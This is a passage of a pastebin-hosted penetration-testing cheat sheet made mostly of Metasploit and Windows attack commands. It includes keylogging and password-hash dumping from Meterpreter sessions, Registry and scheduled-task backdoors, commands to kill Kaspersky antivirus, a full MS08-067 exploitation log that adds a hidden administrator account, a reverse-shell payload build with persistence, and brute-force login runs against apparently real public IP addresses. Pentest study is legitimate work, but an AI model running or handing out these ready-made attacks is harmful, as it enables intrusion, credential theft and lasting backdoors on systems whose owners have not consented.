  1827. upload /neo/wallpaper1.bmp "C:\\documents and settings\\pentest3\\local settings\\application data\\microsoft\\"
  1828.  
  1829.  
  1830.  
  1831.  
  1832. getuid
  1833. ps
  1834. getpid
  1835. keyscan_start
  1836. keyscan_dump
  1837. migrate 520
  1838. portfwd add -L 104.4.4 -l 6666 -r 192.168.1.1 -p 80"
  1839. portfwd add -L 192.168.1.1 -l -r 10.5.5.5 -p 6666
  1840.  
  1841. shell
  1842. run myremotefileserver_mserver -h
  1843. run myremotefileserver_mserver -p 8787
  1844.  
  1845. run msf_bind
  1846. run msf_bind -p 1975
  1847. rev2self
  1848. getuid
  1849.  
  1850. getuid
  1851.  
  1852.  
  1853.  
  1854. enumdesktops
  1855. grabdesktop
  1856.  
  1857. run deploymsf -f framework-3.3-dev.exe
  1858.  
  1859. run hashdump
  1860. run metsvc
  1861. run scraper
  1862. run checkvm
  1863. run keylogrecorder
  1864. run netenum -fl -hl localhostlist.txt -d google.com
  1865. run netenum -rl -r 10.192.0.50-10.192.0.254
  1866. run netenum -st -d google.com
  1867. run netenum -ps -r 10.192.0.50-254
  1868.  
  1869.  
  1870. # Windows Login Brute Force Meterpreter Script
  1871. run winbf -h
  1872.  
  1873. # upload a script or executable and run it
  1874. uploadexec
  1875.  
  1876.  
  1877. # Using Payload As A Backdoor from a shell
  1878.  
  1879. REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run /v firewall /t REG_SZ /d "c:\windows\system32\metabkdr.exe" /f
  1880. at 19:00 /every:M,T,W,Th,F cmd /c start "%USERPROFILE%\metabkdr.exe"
  1881. SCHTASKS /Create /RU "SYSTEM" /SC MINUTE /MO 45 /TN FIREWALL /TR "%USERPROFILE%\metabkdr.exe" /ED 11/11/2011
  1882.  
  1883.  
  1884.  
  1885. # kill AV this will not unload it from mem it needs reboot or kill from memory still ... Darkspy, Seem, Icesword GUI can kill the tasks
  1886. catchme.exe -K "c:\Program Files\Kaspersky\avp.exe"
  1887. catchme.exe -E "c:\Program Files\Kaspersky\avp.exe"
  1888. catchme.exe -O "c:\Program Files\Kaspersky\avp.exe" dummy
  1889.  
  1890. Nessus Scanning through a Metasploit Meterpreter Session
  1891. By
  1892. Mark Baggett
  1893. on March 16, 2010 6:44 AM | Permalink
  1894.  
  1895. By Mark Baggett
  1896.  
  1897. Scenario: You are doing a penetration test. The client's internet face is locked down pretty well. No services are exposed externally and only HTTP/HTTPS are allowed OUT of the corporate firewall. You email in a carefully crafted email with the meterpreter attacked. An accommodating users is more than happy to click your attachment giving you meterpreter access to their machine. Now what? How about using Nessus to scan all the services on their internal network? Here is a tutorial on how to do it.
  1898.  
  1899. The Players
  1900. Attacker 172.16.186.132
  1901. Victim 172.16.186.126
  1902.  
  1903. Step 1 - After you have meterpreter access install OpenSSH on the victim's computer. Joff Thyer, packet guru, crazy aussie and all around smart guy did a great job of outlining the install process on his blog. I pretty much just followed his instructions here.
  1904.  
  1905. Step 2 - After you've installed OpenSSH and setup your account use Meterpreters PORTFWD command to forward a port from the attacker's machine to the SSH listener on the victim's machine. For example:
  1906.  
  1907. meterpreter> portfwd add -L 172.16.186.132 -l 8000 -r 172.16.186.128 -p 22
  1908.  
  1909. This command sets up a listener on port 8000 of the attacker's IP (172.16.186.132) and forwards packets to port 22 on the victim's machine (172.16.186.128).
  1910.  
  1911.  
  1912. Step 3 - SSH into the portfwd port you just created and setup a dynamic port forwarder on your machine. For example:
  1913.  
  1914. # ssh -D 127.0.0.1:9000 -p 8000 username@172.16.186.132
  1915.  
  1916. This command sets up a SOCKS4 proxy on port 9000 which is forwarded through the SSH session on the victim.
  1917.  
  1918. Step 4 - Use PROXYCHAINS to forward your nessusd traffic through the SOCKS4 listener on port 9000. This is as simple as changing the TCP port on the last line of /etc/proxychains.conf from its default of 9050 to port 9000 and launching nessusd through proxychains as follows:
  1919.  
  1920. # proxychains /usr/sbin/nessusd -D
  1921.  
  1922. Step 5 - Start the nessus client and do you scan.
  1923.  
  1924. Preparing for a custom command line OpenSSH Installation in your lab
  1925.  
  1926. The basic steps to prepare a command line OpenSSH installation for Windows are as follows:
  1927.  
  1928. 1. Download the setupssh.exe installation package from http://sshwindows.sourceforge.net/download
  1929.  
  1930. 2. Run the GUI installer package on your Windows lab/test machine. I suggest accepting the default program location of C:\Program Files\OpenSSH
  1931.  
  1932. 3. Get a full copy of all of the files under the directory C:\Program Files\OpenSSH onto a USB flash drive or other favorite media. Copy recursively with XCOPY and make sure you fully retain the directory structure.
  1933.  
  1934. 4. Export the following registry keys using the REG EXPORT command as follows:
  1935.  
  1936. REG EXPORT .HKLM\SOFTWARE\Cygnus Solutions. 1.REG
  1937. REG EXPORT .HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd. 2.REG
  1938. REG EXPORT .HKLM\SYSTEM\ControlSet001\Services\OpenSSHd. 3.REG
  1939.  
  1940. 5. Concatenate all of these registry files together into one file.
  1941. TYPE 1.REG 2.REG 3.REG >OPENSSH.REG
  1942.  
  1943. 6. Save this OPENSSH.REG file into your local copy of all of the openssh directory structure.
  1944.  
  1945.  
  1946. Performing an installation via command shell
  1947.  
  1948. Now that you have all of this data saved on your USB thumb drive, lets assume that our penetration testing machine is a CentOS Linux operating system with IP address of 192.168.1.37, and that our target is a Windows 2003 SP0 machine with IP address of 192.168.1.40. Our penetration testing Linux machine has our OpenSSH package files mounted under /mnt/PenTestTools/win32/OpenSSH.
  1949.  
  1950. Our target happens to have the MS08-067 Server Service RPC vulnerability. Below is an example of how we exploit this vulnerability using Metasploit (www.metasploit.com) with the Meterpreter payload, upload our OpenSSH server files, add a new username, perform some minimal configuration and start the OpenSSH service.
  1951.  
  1952.  
  1953. Exploiting the Vulnerability
  1954.  
  1955. [root@localhost framework-3.2]# nc -v 192.168.1.40 445
  1956. Connection to 192.168.1.40 445 port [tcp/microsoft-ds] succeeded!
  1957. [root@localhost framework-3.2]# ./msfconsole
  1958.  
  1959. msf > search exploits ms08_067
  1960. [*] Searching loaded modules for pattern 'ms08_067'...
  1961. Exploits
  1962. ========
  1963. Name Description
  1964. ---- -----------
  1965. windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption
  1966. msf > use windows/smb/ms08_067_netapi
  1967.  
  1968. msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
  1969. PAYLOAD => windows/meterpreter/bind_tcp
  1970. msf exploit(ms08_067_netapi) > set RHOST 192.168.1.40
  1971. RHOST => 192.168.1.40
  1972. msf exploit(ms08_067_netapi) > set TARGET 5
  1973. TARGET => 5
  1974. msf exploit(ms08_067_netapi) > show options
  1975.  
  1976. ... truncated output ...
  1977. Exploit target:
  1978.  
  1979. Id Name
  1980. -- ----
  1981. 5 Windows 2003 SP0 Universal
  1982.  
  1983.  
  1984. msf exploit(ms08_067_netapi) > exploit
  1985. [*] Started bind handler
  1986. [*] Triggering the vulnerability...
  1987. [*] Transmitting intermediate stager for over-sized stage...(191 bytes)
  1988. [*] Sending stage (2650 bytes)
  1989. [*] Sleeping before handling stage...
  1990. [*] Uploading DLL (75787 bytes)...
  1991. [*] Upload completed.
  1992. [*] Meterpreter session 1 opened (192.168.1.37:45633 -> 192.168.1.40:4444)
  1993.  
  1994. meterpreter > sysinfo
  1995. Computer: SYSTEM-HJ28HHGL7N
  1996. OS : Windows .NET Server (Build 3790, ).
  1997.  
  1998.  
  1999. Uploading your OpenSSH Files
  2000.  
  2001. meterpreter > lcd /mnt/PenTestTools/win32/OpenSSH
  2002. meterpreter > lpwd
  2003. /mnt/PenTestTools/win32/OpenSSH
  2004. meterpreter > cd \
  2005. meterpreter > cd "Program Files"
  2006. meterpreter > mkdir openssh
  2007. Creating directory: openssh
  2008. meterpreter > cd openssh
  2009. meterpreter > pwd
  2010. C:\Program Files\openssh
  2011. meterpreter > upload -r . .
  2012. [*] uploading : ./uninstall.exe -> .\uninstall.exe
  2013. [*] uploaded : ./uninstall.exe -> .\uninstall.exe
  2014. [*] mirroring : ./bin -> .\bin
  2015. [*] uploading : ./bin/chmod.exe -> .\bin\chmod.exe
  2016. [*] uploaded : ./bin/chmod.exe -> .\bin\chmod.exe
  2017. [*] uploading : ./bin/chown.exe -> .\bin\chown.exe
  2018. [*] uploaded : ./bin/chown.exe -> .\bin\chown.exe
  2019. [*] uploading : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll
  2020. [*] uploaded : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll
  2021. .... lots of output truncated ....
  2022.  
  2023. meterpreter > execute -f cmd.exe .i
  2024. Process 848 created.
  2025. Channel 66 created.
  2026.  
  2027.  
  2028.  
  2029. Modifying the Registry and Adding Your Own Username
  2030.  
  2031. Here, we import all of our registry keys, then add our own username making sure to put it into the administrators group. Then we create the passwd and group files that OpenSSH needs for authentication purposes.
  2032.  
  2033.  
  2034. Microsoft Windows [Version 5.2.3790]
  2035. (C) Copyright 1985-2003 Microsoft Corp.
  2036. C:\Program Files\openssh>whoami
  2037. whoami
  2038. nt authority\system
  2039.  
  2040. C:\Program Files\openssh>reg import openssh.reg
  2041. reg import openssh.reg
  2042. The operation completed successfully.
  2043.  
  2044. C:\Program Files\openssh>net user inet_p0wned gameover /add
  2045. net user inet_p0wned gameover /add
  2046. The command completed successfully.
  2047.  
  2048.  
  2049. C:\Program Files\openssh>net localgroup administrators inet_p0wned /add
  2050. net localgroup administrators inet_p0wned /add
  2051. The command completed successfully.
  2052.  
  2053.  
  2054. C:\Program Files\openssh>cd etc
  2055. cd etc
  2056.  
  2057. C:\Program Files\openssh\etc>..\bin\mkpasswd -l >passwd
  2058. ..\bin\mkpasswd -l >passwd
  2059. C:\Program Files\openssh\etc>..\bin\mkgroup -l >group
  2060. ..\bin\mkgroup -l >group
  2061.  
  2062. C:\Program Files\openssh\etc>sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
  2063. sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
  2064. [SC] CreateService SUCCESS
  2065.  
  2066.  
  2067.  
  2068. Start the OpenSSH Service
  2069.  
  2070. C:\Program Files\openssh\etc>sc start opensshd
  2071. sc start opensshd
  2072. SERVICE_NAME: opensshd
  2073. TYPE : 10 WIN32_OWN_PROCESS
  2074. STATE : 2 START_PENDING
  2075. (NOT_STOPPABLE, NOT_PAUSABLE,
  2076. IGNORES_SHUTDOWN))
  2077. WIN32_EXIT_CODE : 0 (0x0)
  2078. SERVICE_EXIT_CODE : 0 (0x0)
  2079. CHECKPOINT : 0x0
  2080. WAIT_HINT : 0x7d0
  2081. PID : 1916
  2082. FLAGS :
  2083.  
  2084. C:\Program Files\openssh\etc>sc query opensshd
  2085. sc query opensshd
  2086. SERVICE_NAME: opensshd
  2087. TYPE : 10 WIN32_OWN_PROCESS
  2088. STATE : 4 RUNNING
  2089. (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN))
  2090. WIN32_EXIT_CODE : 0 (0x0)
  2091. SERVICE_EXIT_CODE : 0 (0x0)
  2092. CHECKPOINT : 0x0
  2093. WAIT_HINT : 0x0
  2094.  
  2095. C:\Program Files\openssh\etc>netsh firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24
  2096.  
  2097. The following command was not found: firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24**
  2098.  
  2099. **Note: adding a port for the firewall is necessary if the firewall exists. If not, then you will get the command not found error message. It is a good idea to restrict the source networks so that you don.t leave a gaping opportunity while testing.
  2100.  
  2101. C:\Program Files\openssh\etc>exit
  2102. exit
  2103. meterpreter > quit
  2104.  
  2105. [*] Meterpreter session 1 closed.
  2106. msf exploit(ms08_067_netapi) > quit
  2107.  
  2108.  
  2109.  
  2110.  
  2111.  
  2112. Now, lets go ahead and SSH into our Windows server to check if things worked!
  2113.  
  2114.  
  2115. root@localhost:~/framework-3.2]# ssh inet_p0wned@192.168.1.40
  2116. The authenticity of host '192.168.1.40 (192.168.1.40)' can't be established.
  2117. RSA key fingerprint is ab:c8:bf:9f:b2:38:32:1d:6f:2b:34:a5:d0:99:dc:49.
  2118. Are you sure you want to continue connecting (yes/no)? yes
  2119. Warning: Permanently added '192.168.1.40' (RSA) to the list of known hosts.
  2120.  
  2121. OpenSSH for Windows. Welcome aboard!
  2122.  
  2123. inet_p0wned@192.168.1.40's password:
  2124. Could not chdir to home directory /home/inet_p0wned: No such file or directory
  2125. Microsoft Windows [Version 5.2.3790]
  2126. (C) Copyright 1985-2003 Microsoft Corp.
  2127. C:\Program Files\OpenSSH>
  2128. C:\Program Files\OpenSSH>whoami
  2129. system-hj28hhgl7n\inet_p0wned
  2130.  
  2131. C:\Program Files\OpenSSH>exit
  2132. Connection to 192.168.1.40 closed.
  2133. [root@localhost framework-3.2]#
  2134.  
  2135.  
  2136. Cleaning up
  2137.  
  2138. To clean up everything when you are finished, you need to delete the OpenSSH service, delete the registry keys and remove all of the relevant files. The following recipe should work reasonably well from a command shell. Remember that you cannot be using OpenSSH when deleting the service! So, you may need to exploit again with shell code before removing it.
  2139.  
  2140. C:\> SC STOP opensshd
  2141. C:\> SC DELETE opensshd
  2142. C:\> REG DELETE .HKLM\SOFTWARE\Cygnus Solutions. /f /va
  2143. C:\> REG DELETE .HKLM\SYSTEM\ControlSet001\Services\OpenSSHd. /f /va
  2144. C:\> REG DELETE .HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd. /f /va
  2145.  
  2146. C:\> CD "\Program Files"
  2147. C:\Program Files> RMDIR /Q /S opensshd
  2148. C:\Program Files> NETSH FIREWALL DELETE PORT TCP 22
  2149. C:\Program Files> NET USER inet_p0wned /DELETE # pivot
  2150. http://www.offensive-security.com/metasploit-unleashed/Pivoting
  2151.  
  2152. use exploit/windows/smb/psexec
  2153. set RHOST 10.1.13.2
  2154. set SMBUser Administrator
  2155. set SMBPass 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d
  2156. set PAYLOAD windows/meterpreter/bind_tcp
  2157. exploit
  2158.  
  2159.  
  2160.  
  2161. # make exe
  2162. ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.6.55 LPORT=443 R | ./msfencode -t exe -c 5 -o /tmp/bob.exe
  2163.  
  2164. # attacker listen
  2165. use exploit/multi/handler
  2166. set PAYLOAD windows/meterpreter/reverse_tcp
  2167. set LHOST 192.168.6.55
  2168. set LPORT 443
  2169. set ExitOnSession false
  2170. # set AutoRunScript pathto script you want to autorun after exploit is run
  2171. set AutoRunScript persistence -r 192.168.6.55 -p 443 -A -X -i 30
  2172.  
  2173. exploit -j -z
  2174.  
  2175.  
  2176. # armatage
  2177. apt-get install mysql-server -y
  2178. /etc/init.d/mysql start
  2179.  
  2180. mysqladmin -u root -ppassword password toor
  2181.  
  2182.  
  2183. /pentest/exploits/framework/msfrpcd -f -U msf -P test -t Basic
  2184.  
  2185.  
  2186.  
  2187. # armatage
  2188.  
  2189. apt-get install -y postgresql
  2190.  
  2191. apt-get install libpq-dev -y
  2192.  
  2193. gem install postgres
  2194.  
  2195. /etc/init.d/postgresql start
  2196.  
  2197.  
  2198. su -
  2199. su - postgres
  2200.  
  2201.  
  2202. createuser msf_user -P
  2203. createdb --owner=msf_user msf
  2204.  
  2205.  
  2206.  
  2207. /pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic
  2208. /pentest/exploits/framework/armitage
  2209.  
  2210.  
  2211.  
  2212.  
  2213. net user newuserhere PASSWORDHERE /add
  2214. net localgroup administrators newuserhere /add
  2215.  
  2216.  
  2217. "c:\program files\nmap\nmap.exe" -vvv -n -p 1527,3200,3201,3300,3600,8000,8100,8101,40000-40005,50013,50113 -A 192.168.56,14,6,7,8,9.1-255 -oA sap
  2218.  
  2219. ----
  2220.  
  2221.  
  2222.  
  2223.  
  2224. # ssh
  2225. use auxiliary/scanner/ssh/ssh_login
  2226.  
  2227. #set RHOSTS_FILE "C:/backup/wordlist/targests.txt"
  2228.  
  2229.  
  2230. set RHOSTS 4.59.139.135 4.59.139.136 4.59.139.140 63.116.61.25 63.116.61.26 63.116.61.34
  2231. # set USER_FILE "C:/backup/wordlist/password_large.txt"
  2232. set USERPASS_FILE "C:/backup/wordlist/root_userpass.txt"
  2233. set VERBOSE true
  2234. set STOP_ON_SUCCESS true
  2235. set BRUTEFORCE_SPEED 5
  2236. # set this to the number of host
  2237. set THREADS 6
  2238.  
  2239. run
  2240.  
  2241.  
  2242.  
  2243. use auxiliary/gather/dns_enum
  2244. set DOMAIN domain.com
  2245. run
  2246.  
  2247.  
  2248. #smb
  2249.  
  2250. use auxiliary/scanner/smb/smb_login
  2251.  
  2252. set RHOSTS file://192.168.8.39
  2253. set RHOSTS 127.0.0.1
  2254.  
  2255. set USER_FILE "C:/wordlist/users.txt"
  2256. set PASS_FILE "C:/wordlist/2.txt"
  2257. set VERBOSE false
  2258. # set to number of host scanning .
  2259. set THREADS 16
  2260.  
  2261. set STOP_ON_SUCCESS true
  2262. set VERBOSE true
  2263. set BLANK_PASSWORDS false
  2264.  
  2265.  
  2266. # http
  2267.  
  2268. use auxiliary/scanner/http/http_login
  2269. set AUTH_URI /folder?dcPath=ha-datacenter
  2270. set RHOSTS 127.0.0.1 127.0.0.1 127.0.0.1
  2271. set VERBOSE true
  2272. run
  2273.  
  2274.  
  2275.  
  2276.  
  2277. back
  2278.  
  2279. # telnet
  2280. use auxiliary/scanner/telnet/telnet_login
  2281. set RHOSTS 127.0.0.1,49,50
  2282.  
  2283. set PASS_FILE "C:/wordlist/password_small.txt"
  2284. set THREADS 254
  2285. run
  2286.  
  2287.  
  2288.  
  2289. back
  2290.  
  2291.  
  2292. # mssql
  2293. use auxiliary/scanner/mssql/mssql_login
  2294. set RHOSTS 127.0.0.1
  2295. set PASS_FILE "C:/wordlist/password_small.txt"
  2296. set USERNAME sa
  2297. set VERBOSE false
  2298. run
  2299.  
  2300.  
  2301. back
  2302.  
  2303.  
  2304.  
  2305. #ftp
  2306. use auxiliary/scanner/ftp/ftp_login
  2307. set RHOSTS 127.0.0.1
  2308. set PASS_FILE /home/administrator/alcoa/alcoa_small.txt
  2309. set USER_FILE /home/administrator/alcoa/alcoa_small.txt
  2310. set BRUTEFORCE_SPEED 1
  2311. run
  2312.  
  2313.  
  2314.  
  2315. #snmp
  2316. use auxiliary/scanner/snmp/snmp_login
  2317. set RHOSTS 127.0.0.1
  2318. set PASS_FILE "C:/wordlist/snmp_default_pass.txt"
  2319. set VERBOSE false
  2320.  
  2321. run
  2322.  
  2323.  
  2324.  
  2325. nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n
  2326.  
  2327.  
  2328. ./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179
  2329.  
  2330.  
  2331. # onlt works for Delegation Tokens
  2332. list_tokens -u
  2333. impersonate_token ORACLE-ENT\\Administrator
  2334.  
  2335.  
  2336. # after hijack incognito
  2337. use auxiliary/server/capture/smb
  2338.  
  2339. # ubuntu autopwn
  2340. apt-get install ruby1.8-dev libpq-dev postgresql -y
  2341. gem install postgres
  2342.  
  2343.  
  2344. # download autopwn .
  2345. cd /pentest/exploits/framework/plugins/
  2346. wget http://rmccurdy.com/scripts/db_autopwn.rb
  2347. cd ..
  2348.  
  2349.  
  2350.  
  2351. sudo -u postgres psql
  2352. \password postgres
  2353. \q
  2354.  
  2355.  
  2356. sudo -u postgres createdb msf
  2357.  
  2358. ./msfconsole
  2359.  
  2360. db_driver
  2361. db_driver postgresql
  2362. db_connect postgres:postgres@127.0.0.1/msf
  2363. db_nmap 123.123.123.123 -v -v -v -v
  2364. load db_autopwn
  2365. db_autpown -p -t -e
  2366.  
  2367.  
  2368. # ssh logins
  2369. use auxiliary/scanner/ssh/ssh_login
  2370. set RHOSTS 192.168.1.1-255
  2371. set USER_FILE "C:/wordlist/password_small.txt"
  2372. run
  2373.  
  2374.  
  2375.  
  2376. back
  2377.  
  2378. #smb
  2379. use auxiliary/scanner/smb/smb_login
  2380. set RHOSTS 127.0.0.1
  2381. set SMBUser Administrator
  2382. set PASS_FILE "C:/wordlist/password_small.txt"
  2383. set VERBOSE false
  2384. set THREADS 16
  2385. run
  2386.  
  2387.  
  2388.  
  2389. back
  2390.  
  2391. # telnet
  2392. use auxiliary/scanner/telnet/telnet_login
  2393. set RHOSTS 127.0.0.1
  2394. set PASS_FILE "C:/wordlist/password_small.txt"
  2395. set THREADS 254
  2396. run
  2397.  
  2398.  
  2399.  
  2400. back
  2401.  
  2402.  
  2403. # mssql
  2404. use auxiliary/scanner/mssql/mssql_login
  2405. set RHOSTS 127.0.0.1
  2406. set PASS_FILE "C:/wordlist/password_small.txt"
  2407. set USERNAME sa
  2408. run
  2409.  
  2410.  
  2411. back
  2412.  
  2413.  
  2414.  
  2415. #ftp
  2416. use auxiliary/scanner/ftp/ftp_login
  2417. set RHOSTS 127.0.0.1
  2418. set PASS_FILE "C:/wordlist/password_small.txt"
  2419. run
  2420.  
  2421.  
  2422.  
  2423. #snmp
  2424. use auxiliary/scanner/snmp/snmp_login
  2425. set RHOSTS 127.0.0.1
  2426. set PASS_FILE "C:/wordlist/snmp_default_pass.txt"
  2427. run
  2428.  
  2429.  
  2430.  
  2431.  
  2432. User Summary
  2433.  
  2434. Checks if a VNC server is vulnerable to the RealVNC authentication bypass (CVE-2006-2369).
  2435. Example Usage
  2436.  
  2437. nmap -sV -sC <target>
  2438.  
  2439. db_driver postgresql
  2440. db_connect postgres:"msf3:"32a771f6"@127.0.0.1:7175/msf3
  2441.  
  2442. http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=7558 Microsoft Baseline Security Analyzer 2.2 (for IT Professionals)
  2443.  
  2444. .a/gxfr.py rmccurdy.com --dns-lookup -v -t 10
  2445.  
  2446.  
  2447. http stress test
  2448. .- HTTPS Support
  2449. - 1000 simultaneous connections (each one with a different user/password)
  2450. - Ability to record 2 or more application forms in order to test very specific application flows..
  2451.  
  2452. In order to answer your question, there.re some tools like:
  2453.  
  2454. Tool 1- httperf
  2455.  
  2456. More examples that I used before.
  2457.  
  2458. httperf --hog --server HOST --num-conn 1000 --ra 100 --timeout 5
  2459. httperf --hog --server 192.168.1.3 --num-conn 1000 --ra 100 --timeout 5
  2460. httperf --hog --server=192.168.1.3 --wsess=10,5,2 --rate 1 --timeout 5
  2461. httperf --hog --server=www --wsess=10,5,2 --rate=1 --timeout=5 --ssl
  2462. httperf --hog --server=bankinghome.es/apl/donativos/index_ca.html --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5 --ssl-no-reuse --http-version=1.0
  2463. httperf --hog --server=17.148.71.129/index.html --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5 --ssl-no-reuse --http-version=1.0
  2464. httperf --hog --server=http://17.148.71.129/index.html --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5 --ssl-no-reuse --http-version=1.0
  2465.  
  2466. Tool 2- fakeconnect
  2467.  
  2468. fakeconnect -s SOURCE -d HOST -p PORT
  2469.  
  2470. Tool 3- Apache benchmarking tool (accept POST)
  2471.  
  2472. ab -n 100 -c 4 -p test.jpg http://localhost/
  2473. (http://httpd.apache.org/docs/2.0/programs/ab.html)
  2474.  
  2475. Tool 4- Curl-loader (it rocks, very customizable)
  2476.  
  2477. http://curl-loader.sourceforge.net/
  2478.  
  2479.  
  2480. And running hundreds and thousands of clients..., please, do not forget:
  2481.  
  2482. 1- To increase limit of descriptors (sockets) by running e.g.
  2483.  
  2484. #ulimit -n 10000;
  2485.  
  2486. 2- Optionally, to set reuse of sockets in time-wait state, etc.., by setting:
  2487.  
  2488. #echo 1 > /proc/sys/net/ipv4/tcp_tw_recycle and/or
  2489. #echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse;
  2490. #echo 1 > /proc/sys/net/ipv4/tcp_moderate_rcvbuf
  2491. #echo 108544 > /proc/sys/net/core/wmem_max
  2492. #echo 108544 > /proc/sys/net/core/rmem_max
  2493. #echo "4096 87380 4194304" > /proc/sys/net/ipv4/tcp_rmem
  2494. #echo "4096 16384 4194304" > /proc/sys/net/ipv4/tcp_wmem
  2495.  
  2496. Additional info:
  2497.  
  2498. http://ltp.sourceforge.net/tooltable.php
  2499.  
  2500. Hope that help you.
  2501.  
  2502.  
  2503.  
  2504. ==========
  2505.  
  2506.  
  2507. random file raname rename random file
  2508. IFS=$'\n';for fname in `ls`; do mv "$fname" $RANDOM$RANDOM ;done
  2509.  
  2510.  
  2511. grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' ips | sort | uniq
  2512.  
  2513.  
  2514. catchme.exe -K "c:\Program Files\Kaspersky\avp.exe"
  2515. catchme.exe -E "c:\Program Files\Kaspersky\avp.exe"
  2516. catchme.exe -O "c:\Program Files\Kaspersky\avp.exe"
  2517. reboot
  2518. still looking into it .. can't kill it from memory yet I can delete the file
  2519.  
  2520.  
  2521.  
  2522. # file size search
  2523. FOR /R C:\ %i in (*) do @if %~zi gtr 10000000 echo %i %~zi
  2524.  
  2525. # screen cron
  2526. @reboot /usr/bin/screen -fa -d -m -S torrent /usr/bin/rtorrent
  2527.  
  2528.  
  2529. # netstat with pid
  2530. for /f "tokens=1,2,3,7 delims=: " %a in ('netstat -nao ^| find ^"LISTENING^" ^| find /v ^"::^"') do @(for /f "tokens=1,*" %n in ('"wmic process where processId=%d get caption,executablepath | find ".""') do @echo Protocol=%a, IP=%b, Port=%c, PID=%d, Name=%n, Path=%o)
  2531.  
  2532.  
  2533. # CSV file size,file
  2534. for /r c:\ %i in (*) do @echo %~zi, %i
  2535.  
  2536. # md5 check but in linux style
  2537. md5 * | awk '{print $4,$2}' | sed 's/ (/ \*/g' | sed 's/)//g'
  2538.  
  2539.  
  2540.  
  2541. #################
  2542. # see ./fu_ripp.txt for ripped fu the size was getting out of hand ..
  2543. #################
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!